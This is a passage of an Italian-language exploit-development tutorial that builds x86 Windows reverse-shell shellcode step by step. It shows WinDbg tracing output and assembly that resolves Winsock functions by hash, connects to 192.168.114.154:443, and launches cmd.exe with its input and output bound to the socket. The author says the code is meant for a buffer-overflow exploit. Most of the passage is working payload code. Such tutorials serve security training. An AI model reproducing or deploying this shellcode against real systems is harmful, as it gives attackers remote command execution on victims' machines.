eax=00000000 ebx=75e50000 ecx=00000000 edx=03150000 esi=0315002f edi=01492680
eip=031500a2 esp=0334f590 ebp=0334f79c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
031500a2 66b86c6c mov ax,6C6Ch
0:004> p
eax=00006c6c ebx=75e50000 ecx=00000000 edx=03150000 esi=0315002f edi=01492680
eip=031500a6 esp=0334f590 ebp=0334f79c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
031500a6 50 push eax
0:004> p
eax=00006c6c ebx=75e50000 ecx=00000000 edx=03150000 esi=0315002f edi=01492680
eip=031500a7 esp=0334f58c ebp=0334f79c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
031500a7 6833322e64 push 642E3233h
0:004> p
eax=00006c6c ebx=75e50000 ecx=00000000 edx=03150000 esi=0315002f edi=01492680
eip=031500ac esp=0334f588 ebp=0334f79c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
031500ac 687773325f push 5F327377h
0:004> p
eax=00006c6c ebx=75e50000 ecx=00000000 edx=03150000 esi=0315002f edi=01492680
eip=031500b1 esp=0334f584 ebp=0334f79c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
031500b1 54 push esp
0:004> p
eax=00006c6c ebx=75e50000 ecx=00000000 edx=03150000 esi=0315002f edi=01492680
eip=031500b2 esp=0334f580 ebp=0334f79c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
031500b2 ff5514 call dword ptr [ebp+14h] ss:0023:0334f7b0={KERNEL32!LoadLibraryAStub (75e79070)}
0:004> dd esp L1
0334f580 0334f584
0:004> da 0334f584
0334f584 "ws2_32.dll"
0:004> p
eax=75ef0000 ebx=75e50000 ecx=00000000 edx=01490000 esi=0315002f edi=01492680
eip=031500b5 esp=0334f584 ebp=0334f79c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
031500b5 31c9 xor ecx,ecx
0:004> u 75ef0000 L5
WS2_32!NSJOB::`vftable' <PERF> (WS2_32+0x0):
75ef0000 4d dec ebp
Ottimo, ora abbiamo anche l’indirizzo di WS2_32! Ciò che dobbiamo fare ora è uguale alla funzione resolve_symbols_kernel32 ma con le funzioni di WS2_32:
" resolve_symbols_ws2_32: "
" mov ebx, eax ;" # Move the base address of ws2_32.dll to EBX
" push 0x3bfcedcb ;" # WSAStartup hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x1C], eax ;" # Save WSAStartup address for later usage
" push 0xadf509d9 ;" # WSASocketA hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x20], eax ;" # Save WSASocketA address for later usage
" push 0xb32dba0c ;" # WSAConnect hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x24], eax ;" # Save WSAConnect address for later usage
In questo modo sul puntatore di EBP abbiamo tutte le funzioni salvate, in modo da poterle eseguire una ad una.
Avviamo la socket con WSAStartup, definita nel seguente modo:
int WSAStartup(
WORD wVersionRequired,
[out] LPWSADATA lpWSAData
);
VersionRequired useremo 0x0202, mentre dovremo pushare un registro con abbastanza spazio per ricevere la struttura LPWSADATA. Trasformandolo in codice ASM diventa
" call_wsastartup: " #
" mov eax, esp ;" # Move ESP to EAX
" mov cx, 0x590 ;" # Move 0x590 to CX
" sub eax, ecx ;" # Subtract CX from EAX to avoid overwriting the structure later
" push eax ;" # Push lpWSAData
" xor eax, eax ;" # Null EAX
" mov ax, 0x0202 ;" # Move version to AX
" push eax ;" # Push wVersionRequired
" call dword ptr [ebp+0x1C] ;" # Call WSAStartup
Chiamamo WSASocketA, definita in questo modo:
SOCKET WSAAPI WSASocketA(
[in] int af,
[in] int type,
[in] int protocol,
[in] LPWSAPROTOCOL_INFOA lpProtocolInfo,
[in] GROUP g,
[in] DWORD dwFlags
);
Leggendo la documentazione, useremo come af 4 perchè la vogliamo in IPv4, type 1, protocol 6 (TCP), e gli altri tre tutti a NULL perchè non ci interessano. In ASM diventa:
" call_wsasocketa: " #
" xor eax, eax ;" # Null EAX
" push eax ;" # Push dwFlags
" push eax ;" # Push g
" push eax ;" # Push lpProtocolInfo
" mov al, 0x06 ;" # Move AL, IPPROTO_TCP
" push eax ;" # Push protocol
" sub al, 0x05 ;" # Subtract 0x05 from AL, AL = 0x01
" push eax ;" # Push type
" inc eax ;" # Increase EAX, EAX = 0x02
" push eax ;" # Push af
" call dword ptr [ebp+0x20] ;" # Call WSASocketA
Non ci rimane che WSAConnect. La definizione è la seguente:
int WSAAPI WSAConnect(
[in] SOCKET s,
[in] const sockaddr *name,
[in] int namelen,
[in] LPWSABUF lpCallerData,
[out] LPWSABUF lpCalleeData,
[in] LPQOS lpSQOS,
[in] LPQOS lpGQOS
);
La struttura sockaddr è composta in questo modo:
struct sockaddr_in {
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};
Dovremo quindi pushare un array di 8 (basteranno due push di un registro), l’indirizzo della reverse shell, la porta ed infine sin_family che sarà AF_INET (che vale 2)
#Struttura sockaddr
" xor eax, eax ;" # Null EAX
" push eax ;" # Push sin_zero[]
" push eax ;" # Push sin_zero[]
" push 0x9a72a8c0 ;" # Push sin_addr (? 0n192 - ? 0n168 ? 0n114 ? 0n154)
" mov ax, 0xbb01 ;" # Move the sin_port (443) to AX
" shl eax, 0x10 ;" # Left shift EAX by 0x10 bytes
" add ax, 0x02 ;" # Add 0x02 (AF_INET) to AX
" push eax ;" # Push sin_port & sin_family
" push esp ;" # Push pointer to the sockaddr_in structure
" pop edi ;" # Store pointer to sockaddr_in in EDI
Ora che abbiamo la struttura sockaddr uniamo anche gli altri valori:
" call_wsaconnect: " #
" mov esi, eax ;" # Move the SOCKET descriptor to ESI
" xor eax, eax ;" # Null EAX
" push eax ;" # Push sin_zero[]
" push eax ;" # Push sin_zero[]
" push 0x9a72a8c0 ;" # Push sin_addr (? 0n192 - ? 0n168 ? 0n114 ? 0n154)
" mov ax, 0xbb01 ;" # Move the sin_port (443) to AX
" shl eax, 0x10 ;" # Left shift EAX by 0x10 bytes
" add ax, 0x02 ;" # Add 0x02 (AF_INET) to AX
" push eax ;" # Push sin_port & sin_family
" push esp ;" # Push pointer to the sockaddr_in structure
" pop edi ;" # Store pointer to sockaddr_in in EDI
" xor eax, eax ;" # Null EAX
" push eax ;" # Push lpGQOS
" push eax ;" # Push lpSQOS
" push eax ;" # Push lpCalleeData
" push eax ;" # Push lpCalleeData
" add al, 0x10 ;" # Set AL to 0x10
" push eax ;" # Push namelen
" push edi ;" # Push *name
" push esi ;" # Push s
" call dword ptr [ebp+0x24] ;" # Call WSAConnect
Ora la reverse socket viene eseguita, ma ci manca da eseguire cmd.exe in modo che venga creata anche una shell. Chiamiamo quindi CreateProcessA ed eseguiamo il comando cmd.exe. Esso è definito nel seguente modo:
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
Quello più complesso è lpStartupInfo, poichè è una struttura e dovremo ricrearla da zero come abbiamo fatto per sockaddr. LPSTARTUPINFOA viene definita:
typedef struct _STARTUPINFOA {
DWORD cb;
LPSTR lpReserved;
LPSTR lpDesktop;
LPSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;
L’assembly della struttura sarà il seguente (la documentazione è vostra amica):
" create_startupinfoa: " #
" push esi ;" # Push hStdError
" push esi ;" # Push hStdOutput
" push esi ;" # Push hStdInput
" xor eax, eax ;" # Null EAX
" push eax ;" # Push lpReserved2
" push eax ;" # Push cbReserved2 & wShowWindow
" mov al, 0x80 ;" # Move 0x80 to AL
" xor ecx, ecx ;" # Null ECX
" mov cx, -0x80 ;" # Move -0x80 to CX
" neg cx ;" # neg cx - this remove 00
" add eax, ecx ;" # Set EAX to 0x100
" push eax ;" # Push dwFlags
" xor eax, eax ;" # Null EAX
" push eax ;" # Push dwFillAttribute
" push eax ;" # Push dwYCountChars
" push eax ;" # Push dwXCountChars
" push eax ;" # Push dwYSize
" push eax ;" # Push dwXSize
" push eax ;" # Push dwY
" push eax ;" # Push dwX
" push eax ;" # Push lpTitle
" push eax ;" # Push lpDesktop
" push eax ;" # Push lpReserved
" mov al, 0x44 ;" # Move 0x44 to AL
" push eax ;" # Push cb
" push esp ;" # Push pointer to the STARTUPINFOA structure
" pop edi ;" # Store pointer to STARTUPINFOA in EDI
Poichè vogliamo che la reverse shell esegua cmd.exe, dobbiamo per prima cosa salvare la stringa in un registro
" create_cmd_string: " #
" mov eax, 0x657865 ;" # Move 0x657865 into EAX
" push eax ;" # Push part of the "cmd.exe" string
" push 0x2e646d63 ;" # Push the remainder of the "cmd.exe"string
" push esp ;" # Push pointer to the "cmd.exe" string
" pop ebx ;" # Store pointer to the "cmd.exe" string in EBX
E successivamente fare la chiamata a CreateProcessA
" call_createprocessa: " #
" mov eax, esp ;" # Move ESP to EAX
" xor ecx, ecx ;" # Null ECX
" mov cx, 0x390 ;" # Move 0x390 to CX
" sub eax, ecx ;" # Subtract CX from EAX to avoid overwriting the structure later
" push eax ;" # Push lpProcessInformation
" push edi ;" # Push lpStartupInfo
" xor eax, eax ;" # Null EAX
" push eax ;" # Push lpCurrentDirectory
" push eax ;" # Push lpEnvironment
" push eax ;" # Push dwCreationFlags
" inc eax ;" # Increase EAX, EAX = 0x01 (TRUE)
" push eax ;" # Push bInheritHandles
" dec eax ;" # Null EAX
" push eax ;" # Push lpThreadAttributes
" push eax ;" # Push lpProcessAttributes
" push ebx ;" # Push lpCommandLine - cmd.exe
" push eax ;" # Push lpApplicationName
" call dword ptr [ebp+0x18] ;" # Call CreateProcessA
Mettendo i pezzi insieme (trovate qui) tutto il codice, lo eseguiamo ed ecco che abbiamo la reverse shell completa!
Spero di esser stato più chiaro e conciso possibile, non è un argomento semplice da trattare ma ho cercato di dare tutte le fonti e gli approfondimenti possibili. Quando useremo questo shellcode per il buffer overflow dovremo ovviamente stare attenti ai bad char e sostituire eventuali istruzioni con altre per eliminarli del tutto.
Alcuni link utili: